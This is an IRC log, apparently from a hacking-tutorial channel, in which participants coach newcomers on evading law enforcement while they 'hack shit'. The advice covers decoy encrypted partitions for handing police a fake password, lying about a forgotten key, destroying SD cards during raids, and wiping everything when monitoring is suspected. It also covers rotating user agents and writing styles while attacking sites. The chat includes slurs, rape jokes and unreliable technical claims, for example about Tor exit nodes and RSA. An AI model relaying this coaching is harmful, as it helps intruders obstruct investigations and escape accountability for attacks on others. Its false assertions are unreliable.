[18:41:05] @halfdead: or whatever the primary partition is
[18:41:18] %StalluManu: halfdead: yeah, i know, but it's slow, and not as random as mtwister.
[18:41:19] ~Fox: NOOB NOTE:
[18:41:21] %StalluManu: at least not on gentoo.
[18:41:28] ~Fox: DD = 1-1 image
[18:42:02] %StalluManu: type man dd in linux to see what it fucking does.
[18:42:13] ~Fox: yerp.
[18:42:15] %StalluManu: in fact, type man every command that i tell you to do just because.
[18:42:25] %StalluManu: or, you know, google.
[18:42:31] %StalluManu: Now, we have a disk of random shit.
[18:42:39] %StalluManu: Now we need a password to give to the feds.
[18:42:56] %StalluManu: We encrypt the first part of the partition with one password, the one that you want to hand out.
[18:43:02] %StalluManu: like the first ~30% or so.
[18:43:15] %StalluManu: (the pass you hand out in case they beat you over the head with a wrench).
[18:43:30] %StalluManu: This part contains a basic linux distribution, that YOU LOG IN TO REGULARLY so they cant distinguish it from real.
[18:43:36] %StalluManu: REALLY FUCKING IMPORTANT THAT YOU DO THIS STEP.
[18:44:00] %StalluManu: The second part of the partition (you can grab parts of a partition with dd seek=) you encrypt with a different key.
[18:44:05] %StalluManu: this key YOU FUCKING KEEP FOR YOURSELF.
[18:44:16] %StalluManu: Remember that encrypted data was indistinguishable from random data?
[18:44:28] %StalluManu: Yeah, so the last part might as well be unpartitioned space.
[18:44:36] %StalluManu: plausible fucking deniability.
[18:44:54] %StalluManu: This is what you want in the US and England, where they can make you tell your key.
[18:45:14] ~Fox: Also learn to take a beating.
[18:45:15] ~Fox: Pussies.
[18:45:17] %StalluManu: But you'll want it anyways, because you're going to hack shit.
[18:45:20] %StalluManu: Fox: true that.
[18:45:20] @halfdead: lol
[18:45:26] i0dineMobile (~AndChat@LulzCo-5915E58.sub-174-254-35.myvzw.com) left IRC. (Quit: Bye)
[18:45:38] @halfdead: StalluManu: why not making two partitions
[18:45:46] @halfdead: one encrypted

[18:45:49] @halfdead: one unencrypted
[18:45:51] %StalluManu: halfdead: because the partition table shows wat you're up to.
[18:45:55] @halfdead: no
[18:45:57] @halfdead: listen
[18:46:03] @hatter: Or actually
[18:46:05] %StalluManu: halfdead: and teh fs is distinguishable from random shit.
[18:46:06] @hatter: The best thing to do
[18:46:09] @hatter: In all honesty
[18:46:09] @halfdead: you can make a partition that doesn't really exist
[18:46:16] @hatter: In places where they can make you tell your key
[18:46:16] ~Fox: **********
[18:46:20] @halfdead: unless you type a password during the boot
[18:46:22] ~Fox: Going to put hatter on the spot here
[18:46:22] @hatter: just keep it on a usb/sd card
[18:46:27] ~Fox: cause I know this shit from experience.
[18:46:28] ~Fox: lol
[18:46:28] @hatter: break that shit
[18:46:32] @hatter: drop it in a cup of coffee
[18:46:34] @hatter: pewf gone
[18:46:36] @hatter: lol
[18:46:41] %dsr: ^ hatter thas not always easy to do
[18:46:43] %StalluManu: hatter: i adviced they boot from microsd.
[18:46:49] @hatter: I never had a hard time with it drop
[18:46:50] %dsr: if they raid your house while your sleeping, in the shower, out of your house, at work
, etc
[18:46:51] %StalluManu: so they can destroy fucking everything.
[18:46:51] @hatter: dsr *
[18:46:55] @hatter: Uhm
[18:46:58] @hatter: dsr: this is why you keep your key
[18:47:01] @hatter: on yoour keychain
[18:47:04] @hatter: WITH THE REST OF YOUR KEYS
[18:47:15] ~Fox: Like, Literal keychain.
[18:47:16] @hatter: lol
[18:47:18] %dsr: good call
[18:47:21] ~Fox: Like carkeys.
[18:47:25] %StalluManu: ok.
[18:47:27] ~Fox: SUPER-PROTIP
[18:47:34] %StalluManu: just DONT make a normal partition, encrypt BOTH.
[18:47:40] ~Fox: SD Card fits great in contact start keys!
[18:47:42] %StalluManu: DONT partition at all.
[18:47:55] Agrajag (~harhar@LulzCo-6C4BAAB9.bu.edu) left the channel.
[18:48:03] %StalluManu: (except for a /boot and a / partition ofc)
[18:48:17] @hatter: StalluManu: I usually use an encrypted loopback device stored on an encrypted
partition for /home
[18:48:24] @hatter: but in any case I wrote a bunch of crazy shit
[18:48:28] @hatter: call it spadecrypt
[18:48:31] @hatter: xochipilli and I wrote it together
[18:48:34] mnmezz (~mnmezz@LulzCo-FECF7F64.torservers.net) joined the channel.
[18:48:35] @hatter: Its more effective than truecrypt
[18:48:41] vorbotten (~voronika@LulzCo-DB91E6A4.nerp.net) joined the channel.
[18:48:42] @hatter: and truecrypt keeps the key in plaintext RAM memory
[18:48:48] @hatter: Which is not safe
[18:48:51] @hatter: spadecrypt does not.
[18:48:54] %StalluManu: hatter: i encrypt my root.
[18:48:57] @hatter: Good job
[18:49:03] @hatter: It still keeps your key in plaintext ram StalluManu
[18:49:10] %StalluManu: i know.
[18:49:14] %StalluManu: but we've covered physical attacks.
[18:49:16] %StalluManu: fucking glue the pc up.
[18:49:19] Cuidado_ (~byungminl@LulzCo-21E64C23.hsd1.va.comcast.net) left IRC. (Quit: Leaving)
[18:49:30] %StalluManu: now, where were we.
[18:49:36] @hatter: philosecurity.org/pubs/davidoff-clearmem-linux.pdf
[18:49:52] %StalluManu: good paper.
[18:49:53] @hatter: Plausible deniability
[18:49:55] @hatter: And
[18:50:00] @halfdead: hey
[18:50:04] @hatter: unpartitioned space.
[18:50:04] @halfdead: if you want to be safe
[18:50:09] @halfdead: with your hacker life
[18:50:17] @halfdead: just live on the road
[18:50:28] @halfdead: or in a fuckin trailer park
[18:50:28] @halfdead: no one raids a trailer park
[18:50:38] @halfdead: i live in a nice trailer park under this bridge
[18:50:49] @hatter: wow that's rly not actually safe lol
[18:50:49] @halfdead: there had been 0 raids in the past 10 yrs
[18:50:56] @halfdead: how isn't it safe
[18:50:59] @hatter: yea the file on you is also prolly 2 miles long bro
[18:51:00] @hatter: lol
[18:51:04] %dsr: umm

[18:51:13] @halfdead: you think someone has a file on me??
[18:51:19] %StalluManu: stfu.
[18:51:21] @halfdead: wtf.. that is a scary thought
[18:51:24] %dsr: probably with an attitude like that
[18:51:25] %StalluManu: we're not trying to wave e-dicks in here.
[18:51:30] %dsr: ^
[18:51:32] %StalluManu: we're trying to teach some n00bs how2h4x0r
[18:51:32] ~Fox: Moving along.
[18:51:33] @hatter: I agree
[18:51:35] @halfdead: StalluManu: sorry
[18:51:38] @hatter: I don't want them getting in trouble though
[18:51:38] ~Fox: Moving along.
[18:51:39] @hatter: Is all
[18:51:40] @halfdead: but why?
[18:51:45] ~Fox: We can do this at the end.
[18:51:47] eSDee (~harhar@LulzCo-6C4BAAB9.bu.edu) joined the channel.
[18:51:48] ~Fox: keep it moving.
[18:51:57] halfdead sets mode +v eSDee
[18:52:10] +eSDee: h0h0h0
[18:52:11] %StalluManu: Now, we've got a dandy encrypted disk, you gave them your fake password, they got your fake operating system, and you're free.
[18:52:19] %StalluManu: If you're not, prepare for bubba to rape your anus.
[18:52:21] %StalluManu: and daily beatings.
[18:52:26] @hatter: ^
[18:52:27] @hatter: lol
[18:52:39] ~Fox: Rape is ONLY fun if you're not recieving.
[18:52:42] +tminus: no bubba at club fed
[18:53:02] %StalluManu: If you do not give up your key, the half a year-year you will spend in jail will be WORSE than the two years you'll spend in the can for general hacking.
[18:53:06] %StalluManu: Because the cops hate your guts.
[18:53:29] %StalluManu: So, in that case, you're fucked.
[18:53:46] %dsr: they cant always force you to give up your key
[18:53:46] %StalluManu: After you've had your time in the can, you can become a homosexual, and a whitehat!
[18:53:52] abduck (root@LulzCo-39E54686.sister.is.pregnant.and.itsbecauseof.me) joined the channel.
[18:53:56] @hatter: dsr: no they can't
[18:54:01] @hatter:
[18:54:07] %dsr: in some states countries you can mount a 5th amendment style defense
[18:54:09] %StalluManu: dsr: check your local laws to see which apply.
[18:54:11] %StalluManu: again, google etc.
[18:54:18] %StalluManu: KNOW THE FUCKING LAW.
[18:54:25] @hatter: Actually
[18:54:28] ~Fox: Now Gentlemen
[18:54:28] @hatter: legally
[18:54:29] @hatter: They can't.
[18:54:36] @hatter: I used to work forensics
[18:54:38] ~Fox: You've heard from StalluManu
[18:54:40] @hatter: I know this shit for a fact.
[18:54:43] abduck (root@LulzCo-39E54686.sister.is.pregnant.and.itsbecauseof.me) left the channel.
[18:54:47] @hatter: They can try to force you
[18:54:51] ~Fox: Hatter has done forensics work for quite a fuck-piss long time
[18:54:53] @hatter: But you have plausible deniability
[18:54:53] eax (root@LulzCo-39E54686.sister.is.pregnant.and.itsbecauseof.me) joined the channel.
[18:54:57] ~Fox: Here is the other side of the spectrum.
[18:54:57] @hatter: You could've forgotten it
[18:55:07] @hatter: They may not even be able to prove last boot
[18:55:15] @hatter: You can always say you haven't been able to get into it for a year or two
[18:55:21] @hatter: and ask them to give you the password when they figure it out
[18:55:28] @hatter: so you can get your p0rn you were hidin from your girlfriend
[18:55:30] @hatter: it'll hold up.
[18:55:35] @halfdead: hatter: that's true
[18:55:36] @halfdead: 
[18:55:42] Fox sets mode +h eax
[18:55:43] @halfdead: amazingly true
[18:55:45] @halfdead: a friend of mine did that
[18:55:52] @halfdead: and they returned the laptop after one year
[18:55:57] @hatter: Yep
[18:56:00] @halfdead: he asked what the pass was
[18:56:07] @halfdead: and they didn't even reply
[18:56:11] @halfdead: how rude..
[18:56:22] ~Fox: Super large point
[18:56:25] ~Fox: If this does happen to you
[18:56:29] @hatter: Well ultimately
[18:56:29] ~Fox: STICK WITH YOUR FUCKING STORY
[18:56:33] @hatter: Depending on the algorithms
[18:56:37] @hatter: one year aint enough time
[18:56:38] ~Fox: Commit to that line until you fucking die.
[18:56:44] @hatter: You have to think of this from a federal perspective

[18:56:47] @hatter: they have to pay the electric
[18:56:57] @hatter: use that supercomputer to crack your shit in stead of someone elses
[18:57:06] @hatter: and if all you did was do some internet spray paint on some website
[18:57:12] @hatter: They're not gonna spend tax dollars on that shit
[18:57:13] @hatter: lol
[18:57:21] @halfdead: that's true
[18:57:26] ~Fox: Gentlemen this is pre-emptory security.
[18:57:28] @halfdead: but i advice anyone not to hack
[18:57:30] @halfdead: because hacking is ilegal
[18:57:37] ~Fox: You don't want to get wrapped up in something larger than yourself
[18:57:47] @hatter: ^
[18:57:48] ~Fox: and say "Aw Fuck. I wish I would have listened in #school4lulz."
[18:57:50] @hatter: I have done that before
[18:57:54] ~Fox: As have I.
[18:57:58] spartacus (John@9BBA67F0.CCCED140.C34EBED0.IP) left the channel.
[18:58:01] +eSDee: also, the filesystem assange and some other people worked on in the past
[18:58:02] +eSDee: rubberhose
[18:58:02] ~Fox: I was glad I listened to those that taught me.
[18:58:03] %StalluManu: http://wimminz.wordpress.com/2011-04/3-important-pdf-files/ <=READ THIS. on how the justice system works. It's UNRELATED to this area of the law, however the ADVICE is fucking sound.
[18:58:05] +eSDee: is conceptually interesting
[18:58:12] @hatter: eSDee: rubber hose is the shit
[18:58:13] @hatter: lol
[18:58:16] @hatter: I <3 rubber hose
[18:58:23] %dsr: rubber hose is basically how trucrypt works
[18:58:36] @hatter: Not quite
[18:58:41] @hatter: Rubber hose ALWAYS decrypts
[18:58:45] @halfdead: eSDee: is it any good?
[18:58:46] @hatter: it just doesn't always decrypt properly
[18:58:47] +eSDee: dsr: truecrypt doesn't allow me to manage aspects in the same way as truecrypt
[18:58:48] Blaher_ (~blaher@LulzCo-1A42682E.dsl.akrnoh.sbcglobal.net) joined the channel.
[18:58:50] +eSDee: errr
[18:58:52] +eSDee: as rubberhose
[18:59:04] +eSDee: which is kind of what i would like
[18:59:20] %StalluManu: ok. now that we've had ENTERPRISE QUALITY rubber hose crypto.
[18:59:22] %StalluManu: Your crypto ain't shit if someone has access to your files.
[18:59:26] %StalluManu: So don't fucking get rooted.
[18:59:27] @hatter: ^
[18:59:32] @hatter: That's kinda the point in HIPAA
[18:59:36] %StalluManu: hatter: can you give them a quick how2 not get rooted?
[18:59:37] @hatter: Or SpadeCrypt
[18:59:39] @hatter: essentially
[18:59:45] @hatter: CERTAIN
[18:59:48] @hatter: encryption systems
[18:59:53] @hatter: Allow for realtime stream decryption of data
[18:59:56] @hatter: So that even root
[19:00:00] @hatter: even when the device is mounted
[19:00:02] @hatter: cannot read the data
[19:00:08] @hatter: even when root has the permissions to do so
[19:00:11] @hatter: because root does not have the key
[19:00:16] Fox sets mode +v Blaher_
[19:00:27] hatter sets mode +v srwx
[19:00:29] +Blaher_: What did I miss?
[19:00:33] @hatter: StalluManu: I suppose I could try, lol
[19:00:47] ~Fox: You missed shutting the fuck up.
[19:00:50] @hatter: The easiest way to not get rooted
[19:00:51] @hatter: is dont use the internet <3
[19:00:53] @hatter: lol
[19:01:25] %LordKitsuna: yay! another perfect lesson from hatter
[19:01:39] %StalluManu: basically, YOU DONT NEED INCOMING PORTS.
[19:01:43] +Blaher_: Did we mess with MIT?
[19:01:46] %StalluManu: FUCK SERVICES, YOU DONT NEED THEM ON YOUR FUN BOX.
[19:01:52] pRjck3vC (~qz5UMksT@BFE2FA0E.CD918B2F.380801F2.IP) joined the channel.
[19:01:57] +eSDee: just open random pdfs on your machine though
[19:02:01] Fox kicked Blaher_ from the channel. (Shut your fucking mouth.)
[19:02:01] %StalluManu: so, firewall them off with iptables.
[19:02:01] +eSDee: nothing can go wrong there
[19:02:12] z3rod4ta (~zerodata@LulzCo-E5943094.hsd1.ma.comcast.net) joined the channel.
[19:02:15] %StalluManu: eSDee: good point
[19:02:20] %StalluManu: ACT AS IF ANY NETWORK IS OUT TO GET YOU.
[19:02:22] @hatter: Well that but also shit can come down your tubes
[19:02:24] sanguinerose (~sanguiner@LulzCo-16C30A9A.ipredate.net) joined the channel.
[19:02:27] Onelastsin (~Fireking@LulzCo-A21FB84C.tx.res.rr.com) joined the channel.
[19:02:28] Blaher_ (~blaher@LulzCo-1A42682E.dsl.akrnoh.sbcglobal.net) joined the channel.
[19:02:31] @hatter: Browsers, terminal emulators, etc
[19:02:32] @hatter: all vulnerable
[19:02:33] %StalluManu: Good browsers: links, links2 -g, elinks, lynx
[19:02:40] %StalluManu: Bad browsers: firefox, konqueror.

[19:02:46] @hatter: terminal emulator exploits will still hit those terminal browsers
[19:02:55] @hatter: The best way to use those terminal browsers is to compile them from source
[19:02:57] @hatter: edit the makefile
[19:03:02] @halfdead: lol
[19:03:07] %LordKitsuna: StalluManu, i assume we are talking personal use boxes since you would need ports for a webserver
[19:03:07] @halfdead: i always browse with lynx
[19:03:08] @hatter: and add -fstack-protector-all to the CFLAGS and CXXFLAGS
[19:03:12] @halfdead: because links seems too advanced
[19:03:31] %StalluManu: the DWM team has a good browser too.
[19:03:52] %StalluManu: LordKitsuna: we're talking our "fun" box now.
[19:03:58] %StalluManu: As we DONT FUCKING REUSE PASSWORDS this is walled off.
[19:04:58] @hatter: o wow
[19:04:59] %StalluManu: the point of this is that the code of links is reasonably simple.
[19:05:01] @hatter: once again
[19:05:05] @hatter: in case someone missed that
[19:05:06] %StalluManu: they DONT HAVE JAVASCRIPT.
[19:05:12] @hatter: DONT FUCKING REUSE PASSWORDS
[19:05:12] @hatter: DONT FUCKING REUSE PASSWORDS
[19:05:12] @hatter: DONT FUCKING REUSE PASSWORDS
[19:05:13] @hatter: DONT FUCKING REUSE PASSWORDS
[19:05:13] @hatter: DONT FUCKING REUSE PASSWORDS
[19:05:14] @hatter: DONT FUCKING REUSE PASSWORDS
[19:05:14] @hatter: DONT FUCKING REUSE PASSWORDS
[19:05:16] @hatter: lol
[19:05:27] %StalluManu: javascript WILL get you in the can.
[19:05:27] ~Fox: once again
[19:05:35] ~Fox:] @hatter: DONT FUCKING REUSE PASSWORDS
[19:05:35] ~Fox: [19:05:12] @hatter: DONT FUCKING REUSE PASSWORDS
[19:05:35] @halfdead: 
[19:05:38] @halfdead: i always reuse my passwords
[19:05:45] @halfdead: what's the idea of a password if not reusing it 
[19:05:53] +eSDee: one time pads y0
[19:05:53] @halfdead: i can't remember * passwords!
[19:05:55] Brandon (~brandon@LulzCo-496F86DC.columbus.res.rr.com) left IRC. (Ping timeout: 240 seconds)
[19:06:00] +eSDee: secure id tokens
[19:06:04] %StalluManu: Ok, so you're firewalled off, you think you're safe with your new shitty browser.
[19:06:06] +eSDee: those work very well according to lockheed martin
[19:06:07] %StalluManu: TOUGH SHIT.
[19:06:10] %StalluManu: you are on a HOSTILE NETWORK.
[19:06:27] @hatter: if you use the internet
[19:06:28] @hatter: at all
[19:06:30] %StalluManu: You log in to your facebook, someone has a fake cert(HI THERE FBI), you get raped.
[19:06:36] @hatter: you're exposing shit.
[19:06:42] %StalluManu: Here's my general tactic for minimal exposure.
[19:06:43] @hatter: even with no listening ports
[19:07:05] %StalluManu: You tunnel trough cloudvpn/proxies to your home box from where you are.
[19:07:05] @hatter: Personally, I just don't have a facebook to avoid that sort of thing, StalluManu
[19:07:13] @hatter: lol
[19:07:20] %StalluManu: Your home box connects outwards via proxies.
[19:07:25] %StalluManu: (proxies+TOR).
[19:07:40] %StalluManu: you use SSL to connect to your home box, and you FUCKING CHECK THE CERT BY HAND.
[19:07:43] @hatter: ok
[19:07:47] @hatter: for those of you who keep saying tor
[19:07:49] @hatter: I will say it again
[19:07:50] @hatter: I2p
[19:07:52] @hatter: I2P
[19:08:02] %StalluManu: hatter: i covered why tor was shit b4.
[19:08:08] @hatter: Ah
[19:08:12] ~Fox: I trust TOR like I trust a bitch that blows me before dinner
[19:08:15] ~Fox: I trust TOR like I trust a bitch that blows me before dinner
[19:08:15] %StalluManu: highest bandwidth nodes etc.
[19:08:15] @hatter: I2P is not as shitty as tor.
[19:08:17] ~Fox: NOTE
[19:08:18] @hatter: I2P is not as shitty as tor.
[19:08:20] ~Fox: I trust TOR like I trust a bitch that blows me before dinner
[19:08:31] @hatter: StalluManu: even if you evade those nodes
[19:08:37] @hatter: The dns requests don't exit via the node
[19:08:40] %StalluManu: hatter: i know.
[19:08:42] @hatter: they still go through your border gateway
[19:08:43] @hatter: so like
[19:08:47] @hatter: your ISP will see where you're going
[19:08:53] @hatter: regardless
[19:08:53] %StalluManu: hatter: i forgot that

[19:09:05] %StalluManu: PEOPLE, TUNNEL YOUR DNS, USE A FUCKING VPN + OPENDNS
[19:09:07] @hatter: So use I2P
[19:09:15] %StalluManu: better yet, us a private DNS server.
[19:09:17] @hatter: I2P is a peer-to-peer system similar to tor
[19:09:22] @hatter: Except, it doesn't suck
[19:09:25] %StalluManu: somewhere in a retarded shithole of a country.
[19:09:35] @hatter: Even if you use private dns, your ISP will see the UDP request leave their network
[19:09:38] @hatter: with a DNS request in it
[19:09:42] @hatter: So no, won't matter
[19:09:46] @hatter: Just use I2P
[19:09:49] @hatter: Or a VPN
[19:09:54] %StalluManu: hatter: VPN to private dns.
[19:09:58] %StalluManu: hatter: dats wat i was advertizing.
[19:10:01] Brandon (~brandon@LulzCo-496F86DC.columbus.res.rr.com) joined the channel.
[19:10:03] @hatter: o
[19:10:04] @hatter: word
[19:10:04] @hatter: lol
[19:10:14] @hatter: o
[19:10:14] %StalluManu: ok, so you've got your fucking connection encrypted
[19:10:16] %StalluManu: .TOUGH SHIT.
[19:10:16] @hatter: one more thing kids
[19:10:19] %StalluManu: the feds still want your ass.
[19:10:25] @hatter: DONT TRUST GOOGLE.
[19:10:27] @hatter: EVER
[19:10:29] @hatter: lol
[19:10:37] +srwx: google knows your secrets
[19:10:39] %StalluManu: you see, SSL certificate companies are funny beasts.
[19:10:39] @hatter: google voice to hide your number
[19:10:43] @hatter: just gets that call recorded
[19:10:51] @hatter: 02:11 <%StalluManu> you see, SSL certificate companies are funny beasts.
[19:10:53] @hatter: ^
[19:10:56] %StalluManu: FEDS OWN SSL CERTIFICATE COMPANIES.
[19:11:16] +eSDee: 'hi thiz is the fbi speaking, we'd like your CA to sign some stuff for us///'
[19:11:27] @hatter: yeah
[19:11:27] %StalluManu: They CAN and WILL produce valid certificates to man in the middle a SSL connection.
[19:11:27] @hatter: P. much
[19:11:27] @hatter: Well
[19:11:27] @hatter: It won't matter if its valid
[19:11:28] %StalluManu: this is why you check the certificates TO YOUR BOXES by hand.
[19:11:30] @hatter: You'll still get cert errors
[19:11:37] @hatter: if the connection is ongoing
[19:11:41] @hatter: or if you have whitelisted certs
[19:11:41] nociuduis (~nociuduis@LulzCo-A75755D4.ph.ph.cox.net) joined the channel.
[19:11:44] %StalluManu: hatter: yeah.
[19:11:52] %StalluManu: Now, i know fuckers that are monitored by the feds.
[19:12:00] halfdead is now known as c0qsm3gma
[19:12:05] %StalluManu: Here's a quick howto get ssl certs that are made by the fucking feds
[19:12:30] %StalluManu: Get a tool to read SSL certs from a pipe(goolag is your friend).
[19:12:35] @hatter: ^
[19:12:48] %StalluManu: Use that on a box that YOU KNOW IS NOT MONITORED.
[19:12:58] %StalluManu: Like your grandma's (assuming she's not a pedo).
[19:13:00] @hatter: lol
[19:13:03] Fox sets mode +v lighthouse
[19:13:05] %StalluManu: Collect certs for sites YOU WANT TO VISIT.
[19:13:15] %StalluManu: Now, go back home.
[19:13:19] +srwx: make note of their expiration too
[19:13:34] %StalluManu: srwx: compare the entire fucking cert with diff.
[19:13:36] %StalluManu: Now, go back home.
[19:13:38] +srwx: ya basically
[19:13:43] %StalluManu: Do the same over a fuckton of tor exit nodes.
[19:13:48] @hatter: lol
[19:14:02] ~Fox: Yo…
[19:14:04] %StalluManu: MOST TOR EXIT NODES ARE IN THE BASEMENT OF FT MEYERS
[19:14:07] ~Fox: I gotta speak up here gents
[19:14:15] ~Fox: Hold for a moment
[19:14:15] %StalluManu: k, fox.
[19:14:16] +eSDee: most intermediate nodes too
[19:14:42] ~Fox: Gentlemen, what these two wonderful teachers here are discussing are in the massive realms of the paranoid, or in the most intricate of jobs.
[19:15:00] ~Fox: I know for a fact that these two people use regular browsers.
[19:15:11] ~Fox: We are speaking of top-level security precautions
[19:15:23] ~Fox: If you aren't doing dirt at the time, and are on a clean installation
[19:15:33] ~Fox: a lower level of security would apply.
[19:15:45] ~Fox: So for instance, we're not saying, don't use facebook, don't use google
[19:15:46] srs (~srs@LulzCo-E8B02DB8.privacyfoundation.ch) joined the channel.
[19:15:58] ~Fox: we're saying don't use them within 1000 feet of your handle.
[19:16:04] %StalluManu: no, we're saying DONT YOU EVER USE FACEBOOK.
[19:16:06] +srwx: don't use fb/google from a computer your h4xing from, or from home

[19:16:07] ~Fox: So that means, no-same internet connection, no same anything.
[19:16:10] @hatter: 02:16 <%StalluManu> no, we're saying DONT YOU EVER USE FACEBOOK.
[19:16:10] @hatter: 02:16 <%StalluManu> no, we're saying DONT YOU EVER USE FACEBOOK.
[19:16:11] @hatter: 02:16 <%StalluManu> no, we're saying DONT YOU EVER USE FACEBOOK.
[19:16:11] @hatter: 02:16 <%StalluManu> no, we're saying DONT YOU EVER USE FACEBOOK.
[19:16:12] @hatter: 02:16 <%StalluManu> no, we're saying DONT YOU EVER USE FACEBOOK.
[19:16:12] @hatter: 02:16 <%StalluManu> no, we're saying DONT YOU EVER USE FACEBOOK.
[19:16:16] ~Fox: Lol.
[19:16:21] @c0qsm3gma: srwx: why not?
[19:16:22] %StalluManu: twitter OVER A PROXY WITH NO REAL DETAILS.
[19:16:22] ~Fox: Well, then they are.
[19:16:23] ~Fox: Lol.
[19:16:30] %eax: its useless fox the hatters are hatting
[19:16:31] @c0qsm3gma: what's wrong with facebook (
[19:16:33] @c0qsm3gma: i use that a lot
[19:16:37] +srwx: because they'll know, they read your cookies
[19:16:41] imposter22 (~imposter2@9E450AF4.1F24E4E4.13FC21DA.IP) joined the channel.
[19:16:55] %StalluManu: oh, and if you use firefox. turn off the "warn me about potential attack sites" and install noscript.
[19:16:57] +srwx: sites you visit that show adsense ads can see where you've been, where you came from
[19:17:20] +srwx: flashblock is handy too
[19:17:28] %StalluManu: ok, but we were @ securing your connection.
[19:17:50] %StalluManu: Now that you've got a list of certs from the TOR exit nodes owned by the NSA, you KNOW when you're monitored if those appear on your connection.
[19:18:04] @hatter: lol
[19:18:04] maresi (~aaa@LulzCo-B07C3B47.dsl.sil.at) left IRC. (Quit: maresi)
[19:18:07] %StalluManu: if these appear on your connection and you are NOT using tor, you are fucked.
[19:18:11] %StalluManu: NUKE FUCKING EVERYTHING.
[19:18:26] LJ_Borges (~LJBorges@69E13FB2.8509785D.B3432783.IP) left IRC.
[19:18:39] %StalluManu: If your tracerts go past a military IP range, you are fucked.
[19:18:51] %StalluManu: if you are fucked, you delete fucking everything
[19:18:53] %StalluManu: comprendre?
[19:19:13] +Shidash: yes
[19:19:26] %StalluManu: Ok. someone wanted to know more about ssl certificates.
[19:19:32] %StalluManu: SSL Uses RSA to encrypt a connection.
[19:19:46] %StalluManu: RSA is an assymetric cipher, go to fucking wikipedo.
[19:19:46] @hatter: and is also weak as phuck
[19:19:50] %StalluManu: ^that&
[19:20:09] @hatter: Ultimately though
[19:20:17] @hatter: No encryption matters if it does not have pre-shared keys
[19:20:23] @hatter: Without pre-shared keys
[19:20:25] %StalluManu: It allows you to figure out with some certainty how deeply in the shit you are.
[19:20:31] @hatter: the initial key exchange can be hijacked
[19:20:34] @hatter: and then it won't matter
[19:20:39] @hatter: Even without the SSL MiTM
[19:20:47] @hatter: they can decrypt the data with a plain ole mitm
[19:20:54] %StalluManu: hatter: true.
[19:20:59] @hatter: same with ssh
[19:21:03] @hatter: or anything that doesn't use a pre-shared key
[19:21:05] %StalluManu: hatter: which is why i dont recommend browsing via a node @ ft. meyers.
[19:21:13] @hatter: lol
[19:21:17] @hatter: my ex fiance is moving there
[19:21:30] %StalluManu: stop with the info on yer life.
[19:21:42] @hatter: She writes me buffer overflow payload lua extension for nmap.
[19:21:47] @hatter: We could have her do some funny shit
[19:21:53] @hatter: If she's gonna be nearby all those nodes.
[19:21:54] @hatter:
[19:22:04] %StalluManu: shit like that gives information about who you are and where you live.
[19:22:08] @hatter: lol
[19:22:10] @hatter: Sure it does
[19:22:14] @hatter: More like
[19:22:16] %StalluManu: The "moving there" part narrows shit down to ~2-3k people max.
[19:22:19] @hatter: Sure
[19:22:22] @hatter: And that's an ex girlfriend
[19:22:23] @hatter: So really
[19:22:30] @hatter: It doesn't really say a damn thing
[19:22:34] %StalluManu: i know.
[19:22:40] %StalluManu: But given enough of that shit, i can track you down.
[19:22:42] ~Fox: NIGGA THIS AINT PRIVATE MESSAGING.
[19:22:44] @hatter: lol
[19:22:45] %StalluManu: i dont WANT to be able to.
[19:22:47] ~Fox: NIGGA THIS AINT PRIVATE MESSAGING.
[19:22:51] zaiger (~newfriend@OhIntehbutt.com) left IRC. (Ping timeout: 240 seconds)
[19:22:54] @hatter: you can't track me down, StalluManu
[19:22:55] %StalluManu: Fox: trying to make a point here, stfu.
[19:22:58] %StalluManu: i know hatter.

[19:22:59] @hatter: if you could
[19:23:00] %StalluManu: and i dont want to.
[19:23:02] @hatter: then the feds would have long ago.
[19:23:08] ~Fox: my fuck god.
[19:23:10] @hatter: and I'm sure they have more info on me than that.
[19:23:16] %StalluManu: ok, stfu.
[19:23:19] ~Fox: DICK.
[19:23:20] ~Fox: WAVING.
[19:23:30] @hatter: attacking me?
[19:23:31] %StalluManu: YOUR HANDLE, IF YOU REUSE IT, IS INFORMATION.
[19:23:36] @hatter: have right to defend self?
[19:23:37] +eSDee: also
[19:23:41] %StalluManu: no, just making a point about info.
[19:23:41] +eSDee: for you bitches on irc
[19:23:41] hatter (~hatter@763DA217.EEF9EEBE.7547DCD8.IP) left the channel. (fuck you kids)
[19:23:43] %StalluManu: stfu people.
[19:23:45] +eSDee: check out OTR
[19:24:00] %StalluManu: >he mad.
[19:24:00] %StalluManu: ok.
[19:24:04] %StalluManu: If you speak.
[19:24:20] %StalluManu: you give off information.
[19:24:23] %StalluManu: if you CONNECT TO A SITE.
[19:24:29] %StalluManu: your browser has an useragent that gives off information.
[19:24:38] %StalluManu: your SPEECH PATTERNS are unique.
[19:24:43] @c0qsm3gma: OTR
[19:24:47] @c0qsm3gma: or ADMirc
[19:24:48] %eax: inb4 all are retards
[19:24:52] %StalluManu: if you REUSE your nick for ANYTHING that links to IRL, you deserve to be buttraped.
[19:24:54] zaiger (~newfriend@OhIntehbutt.com) joined the channel.
[19:24:57] +srwx: I would highly recommend the Disconnect plugin https://addons.mozilla.org/en-US/firefox/addon/disconnect/
[19:25:06] LordKitsuna sets mode +v Anorov
[19:25:23] +srwx: which will prevent a lot of third party advertisers from tracking which websites you visit
[19:25:44] +Anorov: stallumanu, i agree completely
[19:25:53] +Anorov: i'll lay out a real world example
[19:26:14] +Anorov: let's say you're spamming or even trying to hack some site. you're using tor, maybe even a huge variety of proxies
[19:26:33] +Anorov: the server admin sees something funny is going on, checks the access logs. sees the IPs launching the attacks, checks the useragent
[19:26:56] +Anorov: makes a file with all the logs from the past few weeks/months, greps the useragent. if it's unique-ish and if you EVER visited with your real IP, you're fucked
[19:27:16] +Anorov: same with typing patterns. let's say you have some typing quirk you're unaware of and post on some forum frequently. then some guy hacks said forum and posts a deface message with that same quirk
[19:27:18] +Anorov: someone might notice
[19:27:35] %StalluManu: So: spoof your useragent to something common.
[19:27:36] +Anorov: constantly check your writing style and constantly change your useragents if you're targeting a site
[19:27:38] +Anorov: yep
[19:27:40] %StalluManu: Change your nick erryday.
[19:27:44] +Anorov: switch between a few common UA's
[19:27:48] %StalluManu: Dont put private info on public sites.
[19:27:49] +Anorov: firefox 4, IE 8
[19:28:21] %StalluManu: And spoof your shit to that of a dumb windows user.
[19:28:46] %StalluManu: i know for a fact people in here reuse their nicks.
[19:29:01] %StalluManu: 'cause i googled.
[19:29:03] +darkspline: <—-
[19:29:03] %StalluManu: i'm not dropping dox, but feel free to come back later with a different fucking handle.
[19:29:07] +Anorov: yep. never join a place like this, or really anywhere, with a nick you use elsewhere, or a nick you have tied to other nicks
[19:29:35] %StalluManu: ok.
[19:29:35] +Anorov: picking a new nick and then saying "my msn is [some fucking msn you use everywhere" will nullify everything you did too
[19:29:47] %StalluManu: Now: how2get a nick.
